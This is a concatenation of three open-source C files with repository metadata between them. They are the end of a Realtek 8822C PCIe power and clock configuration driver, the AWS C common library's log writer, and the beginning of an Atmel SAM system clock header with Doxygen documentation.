aspm_val = dbi_r8_88xx(adapter, PCIE_ASPM_CTRL);
l1ss_val = dbi_r8_88xx(adapter, PCIE_L1SS_CTRL);
clk_val = dbi_r8_88xx(adapter, PCIE_CLK_CTRL);
if (l1_val == 0xFF || aspm_val == 0xFF || l1ss_val == 0xFF ||
clk_val == 0xFF) {
PLTFM_MSG_ERR("[ERR] PCIE CFG reg read 0xFF!\n");
return HALMAC_RET_FAIL;
}
update_pcie_func_8822c(&aspm_val, PCIE_BIT_L0S,
param->l0s_ctrl, param_def->l0s_ctrl);
status = update_pcie_clk_8822c(adapter, &l1_val);
if (status != HALMAC_RET_SUCCESS)
return status;
update_pcie_func_8822c(&l1_val, PCIE_BIT_L1,
param->l1_ctrl, param_def->l1_ctrl);
update_pcie_func_8822c(&l1_val, PCIE_BIT_WAKE,
param->wake_ctrl, param_def->wake_ctrl);
if (chk_stus_l1ss_8822c(adapter) == 1)
update_pcie_func_8822c(&l1ss_val, PCIE_BIT_L1SS,
param->l1ss_ctrl, param_def->l1ss_ctrl);
status = update_clkdly_8822c(adapter, &clk_val,
param->clkdly_ctrl,
param_def->clkdly_ctrl);
if (status != HALMAC_RET_SUCCESS)
return status;
status = update_aspmdly_8822c(adapter, &aspm_val, param, param_def);
if (status != HALMAC_RET_SUCCESS)
return status;
if (param->l0s_ctrl != HALMAC_IGNORE ||
param->l1dly_ctrl != HALMAC_L1DLY_IGNORE ||
param->l0sdly_ctrl != HALMAC_L0SDLY_IGNORE) {
status = dbi_w8_88xx(adapter, PCIE_ASPM_CTRL, aspm_val);
if (status != HALMAC_RET_SUCCESS)
return status;
}
if (param->l1_ctrl != HALMAC_IGNORE ||
param->wake_ctrl != HALMAC_IGNORE) {
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, l1_val);
if (status != HALMAC_RET_SUCCESS)
return status;
}
if (param->l1ss_ctrl != HALMAC_IGNORE) {
status = dbi_w8_88xx(adapter, PCIE_L1SS_CTRL, l1ss_val);
if (status != HALMAC_RET_SUCCESS)
return status;
}
if (param->clkdly_ctrl != HALMAC_CLKDLY_IGNORE) {
status = dbi_w8_88xx(adapter, PCIE_CLK_CTRL, clk_val);
if (status != HALMAC_RET_SUCCESS)
return status;
}
return HALMAC_RET_SUCCESS;
}
static enum halmac_ret_status
pcie_cfgspc_read_8822c(struct halmac_adapter *adapter,
struct halmac_pcie_cfgspc_param *param)
{
u8 l1_val;
u8 aspm_val;
u8 l1ss_val;
u8 clk_val;
u8 l0smask;
u8 l1mask;
l1_val = dbi_r8_88xx(adapter, PCIE_L1_CTRL);
aspm_val = dbi_r8_88xx(adapter, PCIE_ASPM_CTRL);
l1ss_val = dbi_r8_88xx(adapter, PCIE_L1SS_CTRL);
clk_val = dbi_r8_88xx(adapter, PCIE_CLK_CTRL);
if (l1_val == 0xFF || aspm_val == 0xFF ||
l1ss_val == 0xFF || clk_val == 0xFF) {
PLTFM_MSG_ERR("[ERR] (2nd)PCIE CFG reg read 0xFF!\n");
return HALMAC_RET_FAIL;
}
param->l0s_ctrl = GET_PCIE_FUNC_STUS(aspm_val, PCIE_BIT_L0S);
param->l1_ctrl = GET_PCIE_FUNC_STUS(l1_val, PCIE_BIT_L1);
param->l1ss_ctrl = GET_PCIE_FUNC_STUS(l1ss_val, PCIE_BIT_L1SS);
param->wake_ctrl = GET_PCIE_FUNC_STUS(l1_val, PCIE_BIT_WAKE);
param->crq_ctrl = GET_PCIE_FUNC_STUS(l1_val, PCIE_BIT_CLK);
switch (clk_val) {
case PCIE_CLKDLY_HW_0:
param->clkdly_ctrl = HALMAC_CLKDLY_0;
break;
case PCIE_CLKDLY_HW_30US:
param->clkdly_ctrl = HALMAC_CLKDLY_30US;
break;
case PCIE_CLKDLY_HW_50US:
param->clkdly_ctrl = HALMAC_CLKDLY_50US;
break;
case PCIE_CLKDLY_HW_100US:
param->clkdly_ctrl = HALMAC_CLKDLY_100US;
break;
case PCIE_CLKDLY_HW_150US:
param->clkdly_ctrl = HALMAC_CLKDLY_150US;
break;
case PCIE_CLKDLY_HW_200US:
param->clkdly_ctrl = HALMAC_CLKDLY_200US;
break;
default:
param->clkdly_ctrl = HALMAC_CLKDLY_R_ERR;
break;
}
l0smask = PCIE_ASPMDLY_MASK << SHFT_L0SDLY;
l1mask = PCIE_ASPMDLY_MASK << SHFT_L1DLY;
switch ((aspm_val & l0smask) >> SHFT_L0SDLY) {
case PCIE_L0SDLY_HW_1US:
param->l0sdly_ctrl = HALMAC_L0SDLY_1US;
break;
case PCIE_L0SDLY_HW_3US:
param->l0sdly_ctrl = HALMAC_L0SDLY_3US;
break;
case PCIE_L0SDLY_HW_5US:
param->l0sdly_ctrl = HALMAC_L0SDLY_5US;
break;
case PCIE_L0SDLY_HW_7US:
param->l0sdly_ctrl = HALMAC_L0SDLY_7US;
break;
default:
param->l0sdly_ctrl = HALMAC_L0SDLY_R_ERR;
break;
}
switch ((aspm_val & l1mask) >> SHFT_L1DLY) {
case PCIE_L1DLY_HW_16US:
param->l1dly_ctrl = HALMAC_L1DLY_16US;
break;
case PCIE_L1DLY_HW_32US:
param->l1dly_ctrl = HALMAC_L1DLY_32US;
break;
case PCIE_L1DLY_HW_64US:
param->l1dly_ctrl = HALMAC_L1DLY_64US;
break;
case PCIE_L1DLY_HW_INFI:
param->l1dly_ctrl = HALMAC_L1DLY_INFI;
break;
default:
param->l1dly_ctrl = HALMAC_L1DLY_R_ERR;
break;
}
return HALMAC_RET_SUCCESS;
}
static void
update_pcie_func_8822c(u8 *val, u8 bitmask, enum halmac_func_ctrl ctrl,
enum halmac_func_ctrl def_ctrl)
{
if ((ctrl == HALMAC_DEFAULT &&
(def_ctrl == HALMAC_IGNORE || def_ctrl == HALMAC_DEFAULT)) ||
ctrl == HALMAC_IGNORE)
return;
if ((ctrl == HALMAC_DEFAULT && def_ctrl == HALMAC_DISABLE) ||
ctrl == HALMAC_DISABLE)
*val &= ~(bitmask);
else
*val |= bitmask;
}
static u8
chk_stus_l1ss_8822c(struct halmac_adapter *adapter)
{
u16 cap_val;
u8 stus_val;
u8 sup_val;
cap_val = (u16)((dbi_r8_88xx(adapter, PCIE_L1SS_CAP + 1) << 8) |
dbi_r8_88xx(adapter, PCIE_L1SS_CAP));
sup_val = dbi_r8_88xx(adapter, PCIE_L1SS_SUP);
stus_val = dbi_r8_88xx(adapter, PCIE_L1SS_STS);
if (cap_val == PCIE_L1SS_ID &&
(sup_val & PCIE_BIT_L1SSSUP) &&
(sup_val & PCIE_L1SS_MASK) != 0 &&
(stus_val & PCIE_L1SS_MASK) != 0)
return 1;
return 0;
}
static enum halmac_ret_status
update_clkdly_8822c(struct halmac_adapter *adapter, u8 *val,
enum halmac_pcie_clkdly ctrl,
enum halmac_pcie_clkdly def_ctrl)
{
u8 tmp;
if (ctrl == HALMAC_CLKDLY_IGNORE)
return HALMAC_RET_SUCCESS;
tmp = (ctrl == HALMAC_CLKDLY_DEF) ? def_ctrl : ctrl;
switch (tmp) {
case HALMAC_CLKDLY_0:
*val = PCIE_CLKDLY_HW_0;
break;
case HALMAC_CLKDLY_30US:
*val = PCIE_CLKDLY_HW_30US;
break;
case HALMAC_CLKDLY_50US:
*val = PCIE_CLKDLY_HW_50US;
break;
case HALMAC_CLKDLY_100US:
*val = PCIE_CLKDLY_HW_100US;
break;
case HALMAC_CLKDLY_150US:
*val = PCIE_CLKDLY_HW_150US;
break;
case HALMAC_CLKDLY_200US:
*val = PCIE_CLKDLY_HW_200US;
break;
default:
PLTFM_MSG_ERR("[ERR]CLKDLY wt val illegal!\n");
return HALMAC_RET_FAIL;
}
return HALMAC_RET_SUCCESS;
}
static enum halmac_ret_status
update_pcie_clk_8822c(struct halmac_adapter *adapter, u8 *val)
{
enum halmac_ret_status status = HALMAC_RET_SUCCESS;
if (*val & PCIE_BIT_CLK)
return HALMAC_RET_SUCCESS;
if (*val & PCIE_BIT_L1) {
*val &= ~(PCIE_BIT_L1);
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, *val);
if (status != HALMAC_RET_SUCCESS)
return status;
*val |= PCIE_BIT_CLK;
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, *val);
if (status != HALMAC_RET_SUCCESS)
return status;
*val |= PCIE_BIT_L1;
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, *val);
PLTFM_MSG_WARN("[WARN] L1 enable & CLKREQ disable!\n");
} else {
*val |= PCIE_BIT_CLK;
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, *val);
}
return status;
}
static enum halmac_ret_status
update_aspmdly_8822c(struct halmac_adapter *adapter, u8 *val,
struct halmac_pcie_cfgspc_param *param,
struct halmac_pcie_cfgspc_param *param_def)
{
u8 l1mask = PCIE_ASPMDLY_MASK << SHFT_L1DLY;
u8 l0smask = PCIE_ASPMDLY_MASK << SHFT_L0SDLY;
u8 l1updval = param->l1dly_ctrl;
u8 l0supdval = param->l0sdly_ctrl;
u8 l1defval = param_def->l1dly_ctrl;
u8 l0sdefval = param_def->l0sdly_ctrl;
u8 tmp;
u8 hwval;
if (l1updval != HALMAC_L1DLY_IGNORE) {
tmp = (l1updval == HALMAC_L1DLY_DEF) ? l1defval : l1updval;
switch (tmp) {
case HALMAC_L1DLY_16US:
hwval = PCIE_L1DLY_HW_16US;
break;
case HALMAC_L1DLY_32US:
hwval = PCIE_L1DLY_HW_32US;
break;
case HALMAC_L1DLY_64US:
hwval = PCIE_L1DLY_HW_64US;
break;
case HALMAC_L1DLY_INFI:
hwval = PCIE_L1DLY_HW_INFI;
break;
default:
PLTFM_MSG_ERR("[ERR]L1DLY wt val illegal!\n");
return HALMAC_RET_FAIL;
}
tmp = (hwval << SHFT_L1DLY) & l1mask;
*val = (*val & ~(l1mask)) | tmp;
}
if (l0supdval != HALMAC_L0SDLY_IGNORE) {
tmp = (l0supdval == HALMAC_L0SDLY_DEF) ? l0sdefval : l0supdval;
switch (tmp) {
case HALMAC_L0SDLY_1US:
hwval = PCIE_L0SDLY_HW_1US;
break;
case HALMAC_L0SDLY_3US:
hwval = PCIE_L0SDLY_HW_3US;
break;
case HALMAC_L0SDLY_5US:
hwval = PCIE_L0SDLY_HW_5US;
break;
case HALMAC_L0SDLY_7US:
hwval = PCIE_L0SDLY_HW_7US;
break;
default:
PLTFM_MSG_ERR("[ERR]L0SDLY wt val illegal!\n");
return HALMAC_RET_FAIL;
}
tmp = (hwval << SHFT_L0SDLY) & l0smask;
*val = (*val & ~(l0smask)) | tmp;
}
return HALMAC_RET_SUCCESS;
}
enum halmac_ret_status
auto_refclk_cal_8822c_pcie(struct halmac_adapter *adapter)
{
u8 bdr_ori;
u16 tmp_u16;
u16 div_set;
u16 mgn_tmp;
u16 mgn_set;
u16 tar;
enum halmac_ret_status status = HALMAC_RET_SUCCESS;
u8 l1_flag = 0;
#if (INTF_INTGRA_HOSTREF_V1 <= INTF_INTGRA_MINREF_V1)
return status;
#endif
/* Disable L1BD */
bdr_ori = dbi_r8_88xx(adapter, PCIE_L1_CTRL);
if (bdr_ori & PCIE_BIT_L1) {
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL,
bdr_ori & ~(PCIE_BIT_L1));
if (status != HALMAC_RET_SUCCESS)
return status;
l1_flag = 1;
}
/* Disable function */
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1,
HAL_INTF_PHY_PCIE_GEN1);
if (tmp_u16 & BIT(13)) {
status = mdio_write_88xx(adapter, RAC_CTRL_PPR_V1,
tmp_u16 & ~(BIT(13)),
HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
}
if (adapter->pcie_refautok_en == 0) {
if (l1_flag == 1)
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, bdr_ori);
return status;
}
/* Set div */
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1
, HAL_INTF_PHY_PCIE_GEN1);
status = mdio_write_88xx(adapter, RAC_CTRL_PPR_V1,
tmp_u16 & ~(BIT(15) | BIT(14)),
HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
/* Obtain div and margin */
tar = get_target(adapter);
if (tar == 0xFFFF)
return HALMAC_RET_FAIL;
mgn_tmp = tar * INTF_INTGRA_HOSTREF_V1 / INTF_INTGRA_MINREF_V1 - tar;
if (mgn_tmp >= 128) {
div_set = 0x0003;
mgn_set = 0x000F;
} else if (mgn_tmp >= 64) {
div_set = 0x0003;
mgn_set = mgn_tmp >> 3;
} else if (mgn_tmp >= 32) {
div_set = 0x0002;
mgn_set = mgn_tmp >> 2;
} else if (mgn_tmp >= 16) {
div_set = 0x0001;
mgn_set = mgn_tmp >> 1;
} else if (mgn_tmp == 0) {
div_set = 0x0000;
mgn_set = 0x0001;
} else {
div_set = 0x0000;
mgn_set = mgn_tmp;
}
/* Set div, margin, target*/
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1,
HAL_INTF_PHY_PCIE_GEN1);
tmp_u16 = (tmp_u16 & ~(BIT(15) | BIT(14))) | (div_set << 6);
status = mdio_write_88xx(adapter, RAC_CTRL_PPR_V1,
tmp_u16, HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
tar = get_target(adapter);
if (tar == 0xFFFF)
return HALMAC_RET_FAIL;
PLTFM_MSG_TRACE("[TRACE]target = 0x%X, div = 0x%X, margin = 0x%X\n",
tar, div_set, mgn_set);
status = mdio_write_88xx(adapter, RAC_SET_PPR_V1,
(tar & 0x0FFF) | (mgn_set << 12),
HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
/* Enable function */
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1,
HAL_INTF_PHY_PCIE_GEN1);
status = mdio_write_88xx(adapter, RAC_CTRL_PPR_V1, tmp_u16 | BIT(13),
HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return status;
PLTFM_MSG_TRACE("[TRACE]%s <===\n", __func__);
/* Set L1BD to ori */
if (l1_flag == 1)
status = dbi_w8_88xx(adapter, PCIE_L1_CTRL, bdr_ori);
return status;
}
static u16
get_target(struct halmac_adapter *adapter)
{
u16 tmp_u16;
u16 tar;
u16 count;
enum halmac_ret_status status = HALMAC_RET_SUCCESS;
/* Enable counter */
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1,
HAL_INTF_PHY_PCIE_GEN1);
status = mdio_write_88xx(adapter, RAC_CTRL_PPR_V1,
tmp_u16 | BIT(12), HAL_INTF_PHY_PCIE_GEN1);
if (status != HALMAC_RET_SUCCESS)
return 0xFFFF;
/* Obtain target */
count = 0;
do {
PLTFM_DELAY_US(10);
tmp_u16 = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1,
HAL_INTF_PHY_PCIE_GEN1);
count++;
if (count > 100)
break;
} while ((tmp_u16 & BIT(12)) == BIT(12));
if (count > 100) {
PLTFM_MSG_ERR("[ERR]Get target timeout.\n");
return 0xFFFF;
}
tar = mdio_read_88xx(adapter, RAC_CTRL_PPR_V1, HAL_INTF_PHY_PCIE_GEN1);
tar = tar & 0x0FFF;
if (tar == 0) {
PLTFM_MSG_ERR("[ERR]Get target failed.\n");
return 0xFFFF;
}
return tar;
}
#endif /* HALMAC_8822C_SUPPORT*/
|
e51f5e6abd557b48e42ce04940fc574e4f1ef9c6
|
5afa01fb706bc29154491c441ec801585622e38c
|
/source/log_writer.c
|
5f5bc4f6fd58c80152b958d12e67234f34fe48ef
|
[
"Apache-2.0",
"BSD-3-Clause",
"GPL-2.0-only"
] |
permissive
|
awslabs/aws-c-common
|
5af461d3b3586a569a1809c7b8f32091eec1a151
|
4dcc41cf4d1f868dcdd622c65c09bda972f75ad2
|
refs/heads/main
| 2023-08-29T14:07:10.856557
| 2023-08-25T07:40:54
| 2023-08-25T07:40:54
| 117,142,517
| 249
| 159
|
Apache-2.0
| 2023-09-12T19:02:25
| 2018-01-11T19:17:12
|
C
|
UTF-8
|
C
| false
| false
| 3,321
|
c
|
log_writer.c
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/common/file.h>
#include <aws/common/log_writer.h>
#include <aws/common/string.h>
#include <errno.h>
#include <stdio.h>
/*
* Basic log writer implementations - stdout, stderr, arbitrary file
*/
struct aws_file_writer;
struct aws_file_writer {
FILE *log_file;
bool close_file_on_cleanup;
};
static int s_aws_file_writer_write(struct aws_log_writer *writer, const struct aws_string *output) {
struct aws_file_writer *impl = (struct aws_file_writer *)writer->impl;
size_t length = output->len;
if (fwrite(output->bytes, 1, length, impl->log_file) < length) {
int errno_value = errno; /* Always cache errno before potential side-effect */
return aws_translate_and_raise_io_error(errno_value);
}
return AWS_OP_SUCCESS;
}
static void s_aws_file_writer_clean_up(struct aws_log_writer *writer) {
struct aws_file_writer *impl = (struct aws_file_writer *)writer->impl;
if (impl->close_file_on_cleanup) {
fclose(impl->log_file);
}
aws_mem_release(writer->allocator, impl);
}
static struct aws_log_writer_vtable s_aws_file_writer_vtable = {
.write = s_aws_file_writer_write,
.clean_up = s_aws_file_writer_clean_up,
};
/*
* Shared internal init implementation
*/
static int s_aws_file_writer_init_internal(
struct aws_log_writer *writer,
struct aws_allocator *allocator,
const char *file_name_to_open,
FILE *currently_open_file) {
/* One or the other should be set */
if (!((file_name_to_open != NULL) ^ (currently_open_file != NULL))) {
return aws_raise_error(AWS_ERROR_INVALID_ARGUMENT);
}
/* Allocate and initialize the file writer */
struct aws_file_writer *impl = aws_mem_calloc(allocator, 1, sizeof(struct aws_file_writer));
if (impl == NULL) {
return AWS_OP_ERR;
}
impl->log_file = NULL;
impl->close_file_on_cleanup = false;
/* Open file if name passed in */
if (file_name_to_open != NULL) {
impl->log_file = aws_fopen(file_name_to_open, "a+");
if (impl->log_file == NULL) {
aws_mem_release(allocator, impl);
return AWS_OP_ERR;
}
impl->close_file_on_cleanup = true;
} else {
impl->log_file = currently_open_file;
}
writer->vtable = &s_aws_file_writer_vtable;
writer->allocator = allocator;
writer->impl = impl;
return AWS_OP_SUCCESS;
}
/*
* Public initialization interface
*/
int aws_log_writer_init_stdout(struct aws_log_writer *writer, struct aws_allocator *allocator) {
return s_aws_file_writer_init_internal(writer, allocator, NULL, stdout);
}
int aws_log_writer_init_stderr(struct aws_log_writer *writer, struct aws_allocator *allocator) {
return s_aws_file_writer_init_internal(writer, allocator, NULL, stderr);
}
int aws_log_writer_init_file(
struct aws_log_writer *writer,
struct aws_allocator *allocator,
struct aws_log_writer_file_options *options) {
return s_aws_file_writer_init_internal(writer, allocator, options->filename, options->file);
}
void aws_log_writer_clean_up(struct aws_log_writer *writer) {
AWS_ASSERT(writer->vtable->clean_up);
(writer->vtable->clean_up)(writer);
}
|
148d508f8a8a15e395296c783bfaabfda396ccee
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/bsp/samd21/sam_d2x_asflib/sam0/drivers/system/clock/clock_samd21_r21_da_ha1/clock_feature.h
|
db993049a60079f4bf4f3d76e084a5affa8e4c7d
|
[
"Apache-2.0",
"Zlib",
"LicenseRef-scancode-proprietary-license",
"MIT",
"BSD-3-Clause",
"X11",
"BSD-4-Clause-UC",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 47,477
|
h
|
clock_feature.h
|
/**
* \file
*
* \brief SAM Clock Driver
*
* Copyright (C) 2012-2016 Atmel Corporation. All rights reserved.
*
* \asf_license_start
*
* \page License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The name of Atmel may not be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* 4. This software may only be redistributed and used in connection with an
* Atmel microcontroller product.
*
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* \asf_license_stop
*
*/
/*
* Support and FAQ: visit <a href="http://www.atmel.com/design-support/">Atmel Support</a>
*/
#ifndef SYSTEM_CLOCK_FEATURE_H_INCLUDED
#define SYSTEM_CLOCK_FEATURE_H_INCLUDED
#ifdef __cplusplus
extern "C" {
#endif
/**
* \defgroup asfdoc_sam0_system_clock_group SAM System Clock Management (SYSTEM CLOCK) Driver
*
* This driver for Atmel® | SMART ARM®-based microcontrollers provides an interface for the configuration
* and management of the device's clocking related functions. This includes
* the various clock sources, bus clocks, and generic clocks within the device,
* with functions to manage the enabling, disabling, source selection, and
* prescaling of clocks to various internal peripherals.
*
* The following peripherals are used by this module:
*
* - GCLK (Generic Clock Management)
* - PM (Power Management)
* - SYSCTRL (Clock Source Control)
*
* The following devices can use this module:
* - Atmel | SMART SAM D20/D21
* - Atmel | SMART SAM R21
* - Atmel | SMART SAM D09/D10/D11
* - Atmel | SMART SAM DA1
* - Atmel | SMART SAM HA1
*
* The outline of this documentation is as follows:
* - \ref asfdoc_sam0_system_clock_prerequisites
* - \ref asfdoc_sam0_system_clock_module_overview
* - \ref asfdoc_sam0_system_clock_special_considerations
* - \ref asfdoc_sam0_system_clock_extra_info
* - \ref asfdoc_sam0_system_clock_examples
* - \ref asfdoc_sam0_system_clock_api_overview
*
*
* \section asfdoc_sam0_system_clock_prerequisites Prerequisites
*
* There are no prerequisites for this module.
*
*
* \section asfdoc_sam0_system_clock_module_overview Module Overview
* The SAM devices contain a sophisticated clocking system, which is designed
* to give the maximum flexibility to the user application. This system allows
* a system designer to tune the performance and power consumption of the device
* in a dynamic manner, to achieve the best trade-off between the two for a
* particular application.
*
* This driver provides a set of functions for the configuration and management
* of the various clock related functionality within the device.
*
* \subsection asfdoc_sam0_system_clock_module_features Driver Feature Macro Definition
* <table>
* <tr>
* <th>Driver Feature Macro</th>
* <th>Supported devices</th>
* </tr>
* <tr>
* <td>FEATURE_SYSTEM_CLOCK_DPLL</td>
* <td>SAM D21, SAM R21, SAM D10, SAM D11, SAM DA1</td>
* </tr>
* </table>
* \note The specific features are only available in the driver when the
* selected device supports those features.
*
* \subsection asfdoc_sam0_system_clock_module_overview_clock_sources Clock Sources
* The SAM devices have a number of master clock source modules, each of
* which being capable of producing a stabilized output frequency, which can then
* be fed into the various peripherals and modules within the device.
*
* Possible clock source modules include internal R/C oscillators, internal
* DFLL modules, as well as external crystal oscillators and/or clock inputs.
*
* \subsection asfdoc_sam0_system_clock_module_overview_cpu_clock CPU / Bus Clocks
* The CPU and AHB/APBx buses are clocked by the same physical clock source
* (referred in this module as the Main Clock), however the APBx buses may
* have additional prescaler division ratios set to give each peripheral bus a
* different clock speed.
*
* The general main clock tree for the CPU and associated buses is shown in
* \ref asfdoc_sam0_system_clock_module_clock_tree "the figure below".
*
* \anchor asfdoc_sam0_system_clock_module_clock_tree
* \dot
* digraph overview {
* rankdir=LR;
* clk_src [label="Clock Sources", shape=none, height=0];
* node [label="CPU Bus" shape=ellipse] cpu_bus;
* node [label="AHB Bus" shape=ellipse] ahb_bus;
* node [label="APBA Bus" shape=ellipse] apb_a_bus;
* node [label="APBB Bus" shape=ellipse] apb_b_bus;
* node [label="APBC Bus" shape=ellipse] apb_c_bus;
* node [label="Main Bus\nPrescaler" shape=square] main_prescaler;
* node [label="APBA Bus\nPrescaler" shape=square] apb_a_prescaler;
* node [label="APBB Bus\nPrescaler" shape=square] apb_b_prescaler;
* node [label="APBC Bus\nPrescaler" shape=square] apb_c_prescaler;
* node [label="", shape=polygon, sides=4, distortion=0.6, orientation=90, style=filled, fillcolor=black, height=0.9, width=0.2] main_clock_mux;
*
* clk_src -> main_clock_mux;
* main_clock_mux -> main_prescaler;
* main_prescaler -> cpu_bus;
* main_prescaler -> ahb_bus;
* main_prescaler -> apb_a_prescaler;
* main_prescaler -> apb_b_prescaler;
* main_prescaler -> apb_c_prescaler;
* apb_a_prescaler -> apb_a_bus;
* apb_b_prescaler -> apb_b_bus;
* apb_c_prescaler -> apb_c_bus;
* }
* \enddot
*
* \subsection asfdoc_sam0_system_clock_module_overview_clock_masking Clock Masking
* To save power, the input clock to one or more peripherals on the AHB and APBx
* buses can be masked away - when masked, no clock is passed into the module.
* Disabling of clocks of unused modules will prevent all access to the masked
* module, but will reduce the overall device power consumption.
*
* \subsection asfdoc_sam0_system_clock_module_overview_gclk Generic Clocks
* Within the SAM devices there are a number of Generic Clocks; these are used to
* provide clocks to the various peripheral clock domains in the device in a
* standardized manner. One or more master source clocks can be selected as the
* input clock to a Generic Clock Generator, which can prescale down the input
* frequency to a slower rate for use in a peripheral.
*
* Additionally, a number of individually selectable Generic Clock Channels are
* provided, which multiplex and gate the various generator outputs for one or
* more peripherals within the device. This setup allows for a single common
* generator to feed one or more channels, which can then be enabled or disabled
* individually as required.
*
* \anchor asfdoc_sam0_system_clock_module_chain_overview
* \dot
* digraph overview {
* rankdir=LR;
* node [label="Clock\nSource a" shape=square] system_clock_source;
* node [label="Generator 1" shape=square] clock_gen;
* node [label="Channel x" shape=square] clock_chan0;
* node [label="Channel y" shape=square] clock_chan1;
* node [label="Peripheral x" shape=ellipse style=filled fillcolor=lightgray] peripheral0;
* node [label="Peripheral y" shape=ellipse style=filled fillcolor=lightgray] peripheral1;
*
* system_clock_source -> clock_gen;
* clock_gen -> clock_chan0;
* clock_chan0 -> peripheral0;
* clock_gen -> clock_chan1;
* clock_chan1 -> peripheral1;
* }
* \enddot
*
* \subsubsection asfdoc_sam0_system_clock_module_chain_example Clock Chain Example
* An example setup of a complete clock chain within the device is shown in
* \ref asfdoc_sam0_system_clock_module_chain_example_fig "the figure below".
*
* \anchor asfdoc_sam0_system_clock_module_chain_example_fig
* \dot
* digraph overview {
* rankdir=LR;
* node [label="External\nOscillator" shape=square] system_clock_source0;
* node [label="Generator 0" shape=square] clock_gen0;
* node [label="Channel x" shape=square] clock_chan0;
* node [label="Core CPU" shape=ellipse style=filled fillcolor=lightgray] peripheral0;
*
* system_clock_source0 -> clock_gen0;
* clock_gen0 -> clock_chan0;
* clock_chan0 -> peripheral0;
* node [label="8MHz R/C\nOscillator (OSC8M)" shape=square fillcolor=white] system_clock_source1;
* node [label="Generator 1" shape=square] clock_gen1;
* node [label="Channel y" shape=square] clock_chan1;
* node [label="Channel z" shape=square] clock_chan2;
* node [label="SERCOM\nModule" shape=ellipse style=filled fillcolor=lightgray] peripheral1;
* node [label="Timer\nModule" shape=ellipse style=filled fillcolor=lightgray] peripheral2;
*
* system_clock_source1 -> clock_gen1;
* clock_gen1 -> clock_chan1;
* clock_gen1 -> clock_chan2;
* clock_chan1 -> peripheral1;
* clock_chan2 -> peripheral2;
* }
* \enddot
*
* \subsubsection asfdoc_sam0_system_clock_module_overview_gclk_generators Generic Clock Generators
* Each Generic Clock generator within the device can source its input clock
* from one of the provided Source Clocks, and prescale the output for one or
* more Generic Clock Channels in a one-to-many relationship. The generators
* thus allow for several clocks to be generated of different frequencies,
* power usages, and accuracies, which can be turned on and off individually to
* disable the clocks to multiple peripherals as a group.
*
* \subsubsection asfdoc_sam0_system_clock_module_overview_gclk_channels Generic Clock Channels
* To connect a Generic Clock Generator to a peripheral within the
* device, a Generic Clock Channel is used. Each peripheral or
* peripheral group has an associated Generic Clock Channel, which serves as the
* clock input for the peripheral(s). To supply a clock to the peripheral
* module(s), the associated channel must be connected to a running Generic
* Clock Generator and the channel enabled.
*
* \section asfdoc_sam0_system_clock_special_considerations Special Considerations
*
* There are no special considerations for this module.
*
*
* \section asfdoc_sam0_system_clock_extra_info Extra Information
*
* For extra information, see \ref asfdoc_sam0_system_clock_extra. This includes:
* - \ref asfdoc_sam0_system_clock_extra_acronyms
* - \ref asfdoc_sam0_system_clock_extra_dependencies
* - \ref asfdoc_sam0_system_clock_extra_errata
* - \ref asfdoc_sam0_system_clock_extra_history
*
*
* \section asfdoc_sam0_system_clock_examples Examples
*
* For a list of examples related to this driver, see
* \ref asfdoc_sam0_system_clock_exqsg.
*
*
* \section asfdoc_sam0_system_clock_api_overview API Overview
* @{
*/
#include <compiler.h>
#include <gclk.h>
/**
* \name Driver Feature Definition
* Define system clock features set according to different device family.
* @{
*/
